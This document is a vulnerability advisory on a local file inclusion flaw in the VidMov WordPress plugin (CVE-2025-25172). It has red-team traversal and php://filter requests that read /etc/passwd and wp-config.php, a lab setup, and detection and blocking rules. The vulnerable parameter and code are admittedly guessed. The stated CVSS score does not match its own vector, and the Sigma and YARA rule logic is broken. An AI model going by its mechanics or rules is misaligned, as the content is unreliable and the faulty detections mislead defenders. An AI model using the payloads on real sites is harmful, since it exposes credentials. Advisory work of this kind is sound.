CVE-2025-25172

Executive Summary

CVE-2025-25172 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the VidMov WordPress plugin by Beeteam368, versions up to and including 1.9.4. The vulnerability stems from improper control of filenames used in include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, database credentials, and source code. The CVSS score of 8.1 (High) reflects the ease of exploitation and high confidentiality impact. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for WordPress administrators.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed VidMov from any source are at risk. The lack of a patch from the vendor means that supply chain security is compromised; users must rely on manual mitigation or removal of the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected asset.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete compromise of the WordPress site's secrets.

Deep Dive & Mechanics

The vulnerability exists in the VidMov plugin's PHP code, where user-supplied input is used to construct a file path for an include() or require() statement without proper sanitization. Specifically, the plugin likely accepts a parameter (e.g., page, template, or file) and directly concatenates it into a file inclusion function.

Example vulnerable code pattern:

$file = $_GET['file'];
include("templates/" . $file . ".php");

An attacker can bypass the .php extension using path traversal and null byte injection (in older PHP versions) or by using PHP wrappers like php://filter to read arbitrary files.

Attack flow:

1. Attacker sends a crafted HTTP request to the WordPress site.
2. The request includes a parameter that specifies a file path, e.g., ?file=../../../../etc/passwd.
3. The plugin includes the file, outputting its contents to the attacker.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (hypothetical):

$template = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );

Patched Code (expected):

$allowed_templates = array('default', 'grid', 'list');
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
if (in_array($template, $allowed_templates)) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // Handle error
}

The fix involves whitelisting allowed values and rejecting any input that does not match.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with VidMov plugin version <= 1.9.4.
• Knowledge of the vulnerable parameter (likely file, page, or template).

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns: /?vidmov_page=, /?template=, /?file=.
2. Attempt path traversal to read /etc/passwd:

   GET /?file=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If blocked, try PHP wrappers:

   GET /?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd HTTP/1.1
   

4. Read WordPress configuration:

   GET /?file=../../../../wp-config.php HTTP/1.1
   

Lab Setup:

• Use Docker to spin up a vulnerable WordPress instance:

  docker run -d --name wp-vuln -p 8080:80 wordpress:latest
  

• Install the VidMov plugin manually (download from a mirror).
• Test with curl:

  curl "http://localhost:8080/?file=../../../../etc/passwd"
  

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/, php://).
• Look for requests to WordPress with unusual parameters that include file paths.

Prevention:

• Disable the VidMov plugin immediately if not essential.
• Implement a Web Application Firewall (WAF) rule to block path traversal and PHP wrapper usage.
• Apply virtual patching via mod_security:

  SecRule ARGS "@contains ../" "id:1001,deny,status:403,msg:'Path Traversal Attempt'"
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or php:// in query parameters.
  • Requests to /?file=, /?template=, or /?page= with file paths.
  • Outbound connections from the web server to attacker-controlled hosts (if exfiltration occurs).

• File System IOCs:

  • Unexpected inclusion of files like /etc/passwd, /wp-config.php, or /proc/self/environ in web server responses.
  • Presence of base64-encoded content in HTTP responses (from php://filter usage).

• Log IOCs:

  • Web server access logs showing 200 OK responses to path traversal requests.
  • Error logs showing failed include attempts (e.g., PHP Warning: include(): Failed opening).

Detection Engineering

YARA Rule

rule CVE_2025_25172_LFI_Attempt {
    meta:
        description = "Detects LFI attempts targeting VidMov plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25172"
    strings:
        $path_traversal = /(\.\.\/|%2e%2e%2f|%2e%2e\/)/
        $php_wrapper = /php:\/\/(filter|input|stdin)/
        $vuln_param = /[?&](file|template|page)=/
    condition:
        any of ($path_traversal) and any of ($php_wrapper) and any of ($vuln_param)
}

Sigma Rule

title: CVE-2025-25172 VidMov LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in VidMov plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '../'
            - '%2e%2e%2f'
            - 'php://'
        c-uri|contains|all:
            - '?file='
            - '?template='
            - '?page='
    condition: selection
falsepositives:
    - Legitimate use of file parameters in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-25172 VidMov LFI Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"?file="; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the VidMov plugin until a patch is released.
2. Remove the plugin from the WordPress installation if not critical.
3. Scan for signs of compromise (check for unexpected files, modified core files, and suspicious user accounts).

Long-term Mitigation:

• Monitor the vendor's website for a patched version.
• Implement a Web Application Firewall (WAF) with rules to block LFI attempts.
• Apply the principle of least privilege to the web server user.
• Regularly update all WordPress plugins and themes.

Virtual Patching (mod_security):

SecRule ARGS "@contains ../" "id:1000002,phase:2,deny,status:403,msg:'LFI Attempt Blocked'"
SecRule ARGS "@contains php://" "id:1000003,phase:2,deny,status:403,msg:'PHP Wrapper Blocked'"

Valters IT
DevSecOps & Cyber Threat Intelligence